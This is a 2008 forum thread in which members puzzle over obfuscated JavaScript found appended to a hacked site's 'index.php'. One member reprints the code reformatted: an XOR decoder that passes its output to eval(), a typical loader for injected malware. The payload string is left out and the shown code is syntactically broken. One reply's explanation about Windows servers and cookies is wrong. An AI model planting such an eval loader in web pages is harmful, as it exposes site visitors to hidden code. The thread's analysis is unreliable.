hlp

Тема в разделе "Warbirds International", создана пользователем Funtom, 18 июл 2008.

  1. Funtom

    Funtom Well-Known Member

    Регистрация:
    27 апр 2008
    Сообщения:
    1.189
    Симпатии:
    4
    This code is from hacked "index.php":

    hex-->str
    what is it? security hole in javascript???
     
  2. Red Ant

    Red Ant Well-Known Member

    Регистрация:
    18 янв 2002
    Сообщения:
    4.946
    Симпатии:
    151
    To the uninitiated, this may look as if it's merely a whole fucking bunch of numbers ... to me, on the other hand, even a brief glimpse reveals that what we have here is an obscenely large sequence of arbitrary digits. Umm ... I'll get my coat ...
     
  3. Red Ant

    Red Ant Well-Known Member

    Регистрация:
    18 янв 2002
    Сообщения:
    4.946
    Симпатии:
    151
    Here's the same thing reformatted for improved readability: :znaika:

    (comments are mine)

    Код:
    // this is the function that gets called way below
    function iqxZEA( ozusYD )
    {
    	// but this function doesn't seem to get called anywhere
    	function ooGfjX( cqtQ )
    	{
    		var gDYXQE = 0;
    		var mDkzD = cqtQ.length;
    		var gBWab = 0;
    		
    		while ( gBWab < ( ozusYD.length ); hyCi++ )
    		{
    			var qeGhc = bwvWN( kDlr, qQHQfN) ^ bwvWN( dPWDR, qWbD );
    			var oHIjVl = bwvWN( ozusYD, hyCi );
    			qWbD++;
    			qQHQfN++;
    			
    			if( qWbD > dPWDR.length )
    				qWbD=0;
    				
    			if( qQHQfN > kDlr.length )
    				qQHQfN=0 ;
    				
    			pUOpGD += String.fromCharCode( oHIjVl ^ qeGhc );
    		}
    		
    		
    		// weird ... what's the space doing between the p and the UOpGD?
    		// if it wasn't there, the variable name would match the pUOpGD
    		// in the lines above and below
    		eval( p UOpGD );
    		
    		return pUOpGD = new String();
    	}
    	
    	catch( e )
    	{
    	
    	}
    }
    
    
    
    // Ridiculously long byte string argument omitted because it fucks up formatting.
    iqxZEA('...');
    
    Beats me! :shuffle:

    P.S. I know f*** all about JavaScript.
     
    Последнее редактирование: 18 июл 2008
  4. -al---

    -al--- Well-Known Member

    Регистрация:
    5 янв 2005
    Сообщения:
    6.848
    Симпатии:
    164
    ROFL hahahahahahahahahahahha

    BEST FUCKIN' POST THIS YEAR ANT! :D
     
  5. Funtom

    Funtom Well-Known Member

    Регистрация:
    27 апр 2008
    Сообщения:
    1.189
    Симпатии:
    4
    Yes, it looks like nonsence for me too... but why? :)
    I'll check other files...

    btw: I don't know JS :(
     
  6. Funtom

    Funtom Well-Known Member

    Регистрация:
    27 апр 2008
    Сообщения:
    1.189
    Симпатии:
    4
    why?
     
  7. Red Ant

    Red Ant Well-Known Member

    Регистрация:
    18 янв 2002
    Сообщения:
    4.946
    Симпатии:
    151

    Maybe it's supposed to distract inquisitive minds like you from the REAL security hole. Trust no one ... ;)
     
  8. Funtom

    Funtom Well-Known Member

    Регистрация:
    27 апр 2008
    Сообщения:
    1.189
    Симпатии:
    4
    I am paranoid like hell ;)
     
  9. Fucketeer

    Fucketeer Banned

    Регистрация:
    4 мар 2005
    Сообщения:
    3.280
    Симпатии:
    116
    I can confirm that, cause I am hell.
     
  10. Funtom

    Funtom Well-Known Member

    Регистрация:
    27 апр 2008
    Сообщения:
    1.189
    Симпатии:
    4
    I am paranoid like Fucketeer ;)
     
  11. Fucketeer

    Fucketeer Banned

    Регистрация:
    4 мар 2005
    Сообщения:
    3.280
    Симпатии:
    116
    ;) You're a cute winker. :)
     
  12. Red Ant

    Red Ant Well-Known Member

    Регистрация:
    18 янв 2002
    Сообщения:
    4.946
    Симпатии:
    151

    How DARE you insult Funtom like that?? :mad:


    :p
     
  13. phantom

    phantom Member

    Регистрация:
    3 май 2008
    Сообщения:
    20
    Симпатии:
    0


    Where did you find it?
     
  14. Funtom

    Funtom Well-Known Member

    Регистрация:
    27 апр 2008
    Сообщения:
    1.189
    Симпатии:
    4
    why? do you know answers to my questions?
     
  15. phantom

    phantom Member

    Регистрация:
    3 май 2008
    Сообщения:
    20
    Симпатии:
    0

    why:
    because knowing where it came could help in finding out how to read it.

    do you know answers to my questions:

    how many questions do you have?
     
  16. Funtom

    Funtom Well-Known Member

    Регистрация:
    27 апр 2008
    Сообщения:
    1.189
    Симпатии:
    4
    As i wrote, it's from normal "index.php", the file is without changes, only this code was appended to the end.
     
  17. phantom

    phantom Member

    Регистрация:
    3 май 2008
    Сообщения:
    20
    Симпатии:
    0
    I am far from an expert. I'm no software person.

    My guess is:

    You're working on a website and the server uses Windows/Microsoft. Some of those servers have problems with php and sometimes html conflicts with certain characters in the text.
    Sometimes there are code keys installed as a cookie so one time viewer get the proper translation of those php characters that have no meaning within the html.
    When cookies are not accepted the whole thing fails or locks-up.

    Again, that's my wild guess. I'm sorry I can't give it more time to investigate for you.
    Good luck!
     
  18. vojtas

    vojtas Well-Known Member

    Регистрация:
    4 сен 2002
    Сообщения:
    1.801
    Симпатии:
    74
    you've been hacked by the /b/ ... deal with it